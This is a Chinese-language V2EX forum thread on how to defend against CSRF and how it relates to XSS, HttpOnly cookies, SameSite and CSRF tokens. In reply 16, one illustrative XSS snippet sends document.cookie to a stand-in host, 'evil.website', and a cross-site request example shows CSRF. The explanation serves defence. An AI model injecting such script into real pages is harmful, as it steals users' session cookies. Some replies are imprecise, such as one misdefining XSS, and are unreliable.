V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
LeeReamond
V2EX  ›  信息安全

csrf 攻击一般是如何防御的?

  •  
  •   LeeReamond · 303 天前 via Android · 4422 次点击
    这是一个创建于 303 天前的主题,其中的信息可能已经有所发展或是发生改变。
    一直在用开源库的 csrf token,最近想了一个问题是,比如权限这类信息,存在 cookies 里主要是为了防 xss,但是自然地就引入了 csrf 问题,而为了防御 csrf,后端还要再发一个能被 js 读取的 token,这不还是变回 xss 问题了么,万一出现 xss 漏洞,还是系统被攻破?
    30 条回复    2021-02-04 10:39:54 +08:00
    mxT52CRuqR6o5
        1
    mxT52CRuqR6o5  
       303 天前
    xss 是你把服务端内容直接用 InnerHTML 插到 document 里才会有风险的啊,又不是调用接口就有 xss 风险
    mxT52CRuqR6o5
        2
    mxT52CRuqR6o5  
       303 天前
    还是说你们所有接口都是 jsonp ?
    mokeyjay
        3
    mokeyjay  
       303 天前   ❤️ 1
    我没明白“权限这类信息”为什么要存在 cookie 里,以及为什么存在 cookie 里就能防 xss
    LeeReamond
        4
    LeeReamond  
    OP
       303 天前 via Android
    @mokeyjay localstorage sessionstorage,cookie 可以 httponly 避免 js 读取,不就防止 xss 么
    LeeReamond
        5
    LeeReamond  
    OP
       303 天前 via Android
    @mxT52CRuqR6o5 现在一般都是框架开发,基本没有 xss 问题,但是你还是要选型,比如你的敏感信息究竟存在什么位置,我想深究一下就来问一下
    beastk
        6
    beastk  
       303 天前 via iPhone
    samesite
    weyou
        7
    weyou  
       303 天前
    信息存在 cookie 里和防 xss 有啥关系, httponly 只是用来保护 cookie 不被 XSS 脚本读取的, 而不是本末倒置为了防 xss 而采用 cookie 保存信息的. 但这种方式并不能阻止浏览器在 CSRF 的跨站请求里自动带上 cookie. 而 HTML 内容或者 URL 里的 CSRF token 对于跨站攻击脚本来说是不可见的, 验证 CSRF token 就可以阻挡掉这种恶意的跨站攻击请求.
    xiaoding
        8
    xiaoding  
       303 天前
    题主概念搞混乱了。
    1.xss 和 csrf 是两个不同的东西
    2.cookie 里面设置 httponly 是为了防止 xss 脚本读取 cookie 发送给黑客
    3.csrf 一般是通过 get 或者 post 里面的 token 和 cookie 或者 session 里面的 token 做校验来防护的
    4.如果网站有 xss 漏洞,那么 csrf 漏洞也会有,csrftoken 机制有效的前提是没有 xss
    ArcticL
        10
    ArcticL  
       303 天前
    6 楼正解,samesite 之前一般是通过 token 或者验证 href 去防御的,一般使用 token 是框架集成使用比较方便。另外 cookie 跟防御 xss 和 csrf 没啥关系
    binux
        11
    binux  
       303 天前 via Android
    你都被 xss 了,还担心 csrf 个什么劲啊。
    hanssx
        12
    hanssx  
       303 天前
    jwt token
    sazima
        13
    sazima  
       303 天前
    same site 就行.
    abersheeran
        14
    abersheeran  
       302 天前
    设计一个接口让前端可以直接读 CSRF Token 就是错误的。前端不需要这样的接口。

    CSRF 攻击的原理是浏览器在访问网站时,会自动携带对应网站的 Cookies,这样就不需要读取你的 Cookies 照样可以用你的身份发起一些非你意愿的请求。

    CSRF 防护原理是在 Cookies 里增加一个随机字符串,在请求时,表单或请求头中必须携带这个随机串。以此保证发起请求的一方是能够读取你 Cookies 的客户端。
    falcon05
        15
    falcon05  
       302 天前 via iPhone   ❤️ 1
    被 xss 的情况下,csrf 是没意义的,攻击者能操纵 js,自然能获得 token,甚至还能提交,防 csrf 的前提是没被 xss 。
    no1xsyzy
        16
    no1xsyzy  
       302 天前
    打个比方,你在访问 V2 时有人 XSS:
    <script> fetch("http://evil.website/upload/cookie", {data:document.cookie}); </script>
    如果没过滤,那你的 cookie 就泄漏给了第三方网站
    httponly 阻止了 js 读取 cookie

    而如果你在访问 evil.website 时,evil.website 的拥有者攻击你。
    <script> $.ajax("https:////v2ex.com/thank/topic/...") </script>
    就算根本不是同一个网站,但却可以在请求的时候让它自动带上 cookie,这就是 CSRF 。
    所以有个 once 值,只有知道最新的 once 值才能发送感谢。

    这两个可能混淆的一点就是把 XSS 作中间跳板
    通过一个网站的 XSS 漏洞实现对另一个网站的 CSRF 攻击
    ReinerShir
        17
    ReinerShir  
       302 天前
    @no1xsyzy XSS 的前提是用户提交的 JS 代码会被执行,现在前端开发一般用框架所以就算提交了 JS 代码也不会被执行吧?
    另外想双重保险的话可以再过滤下请求参数里的 scirpt 标签、js 代码等,所以目前还有什么攻击手段可以绕过吗?
    meepo3927
        18
    meepo3927  
       302 天前
    防 csrf 基本思想是确保请求来自 [本站] ,而不是 [外站] 。

    [本站] 和 [外站] 一个主要区别是 本站(的脚本)能读本域的 cookie 。
    YouLMAO
        19
    YouLMAO  
       302 天前 via Android
    小年轻阿
    no1xsyzy
        20
    no1xsyzy  
       302 天前
    @ReinerShir TL;DR: 只要前端不羁越框架、前后端沟通顺畅,就没有。

    XSS 漏洞的产生主要来源于偷懒,并不是本质易受攻击(和 CSRF 不一样)
    和 eval 问题相似,你是完全可以写一个彻底安全的 sandbox eval 的,只要重新写一套词法分析器、语法分析器、解释器,然后把恰当的接口暴露给该环境就行。但是 eval 放那儿,图方便就直接调用了,就产生了漏洞。
    HTML/DOM 同理,div.innerHTML = user_input_string 只是一个 HTML/DOM 下的 eval 罢了。
    其次就是疏忽。
    凡称“框架”必能解决这两个问题,在框架内办事,就出不了格。
    LeeReamond
        21
    LeeReamond  
    OP
       302 天前 via Android
    @xiaoding 我概念没有搞混,你前三点和我说的一样,我想确认一下第四点是不是对的
    LeeReamond
        22
    LeeReamond  
    OP
       302 天前 via Android
    @abersheeran 我觉得你没有理解我说的话,你说的随机字符串的方案,就是我帖子一开始第一句说的 csrftoken,问题是我觉得既然 js 可以读取,那么还是会被 xss 漏洞攻破,如果出现的话,这种防御就没了意义。不如干脆不存在 cookie 里,可以断绝 csrf
    OHyn
        23
    OHyn  
       302 天前
    @ReinerShir 现在不少用 jquery 拼字符串的老网站还是有 xss 风险,过滤下挺好。。。。
    OHyn
        24
    OHyn  
       302 天前
    @LeeReamond 是,鉴权的 token 不放 cookie 里,直接解决 csrf 这种以蹭 cookie 为手段的攻击。chrome > 80, SameSite 默认 Lax,基本搞定 csrf 的问题了。
    Rocketer
        25
    Rocketer  
       302 天前 via iPhone
    有一点需要特别明确——XSS 是指攻击者执行受害者在另一个网站的脚本,这个脚本通常还是官方的(比如在受害者不知情的情况下执行他网银的转账脚本)。

    如果攻击者能执行另一个网站的自定义代码,那攻击者就无所不能了,因为他可以完整模拟受害者的身份了。CSRF 防御手段根本识别不出
    rodrick
        26
    rodrick  
       302 天前
    "这不还是变回 xss 问题了么",这句话也没说错,但是防御 csrf 的前提是 xss 防护肯定得做好,包括 HTTP-only Cookie 只能算是其中一种防御方式
    CSRF Token 是有弊端的,不是什么场合都可以使用的,一般如果自己做都是通过多种方式联合,虽然我也没实际做过但是理论上是这样。
    你这个问题我刚学这玩意的时候也想过,后来想明白了其实这俩是完全不同的东西,不要捆绑在一起去思考
    rodrick
        27
    rodrick  
       302 天前
    @rodrick 关于 csrf token,理论上是这样的:”如果 同时被 XSS 攻击 ,攻击者先发起一次,用跨域方法绕过同源策略,就可以读取目标网站的 Token,甚至拿到 cookie“,所以发生这种情况的前提还是 XSS 做的有问题
    abersheeran
        28
    abersheeran  
       302 天前
    @LeeReamond 是啊。CSRF 攻击本就是针对 Cookies 的设计缺陷。你都不用它了,自然攻击不到你。XSS 攻击就更宽泛,只要是浏览器里 JS 能做到的,XSS 攻击都可以做到。
    DOLLOR
        29
    DOLLOR  
       302 天前
    @OHyn 我见到现在许多还在固守 jquery 一把梭的,就喜欢拼接 html 字符串,然后$(xxxx).html(xxx),简直是 XSS 的天堂。
    Asashiharuka
        30
    Asashiharuka  
       302 天前
    父 token,禁止 ajax 获取 token
    关于   ·   帮助文档   ·   API   ·   FAQ   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   3204 人在线   最高记录 5497   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 05:11 · PVG 13:11 · LAX 21:11 · JFK 00:11
    ♥ Do have faith in what you're doing.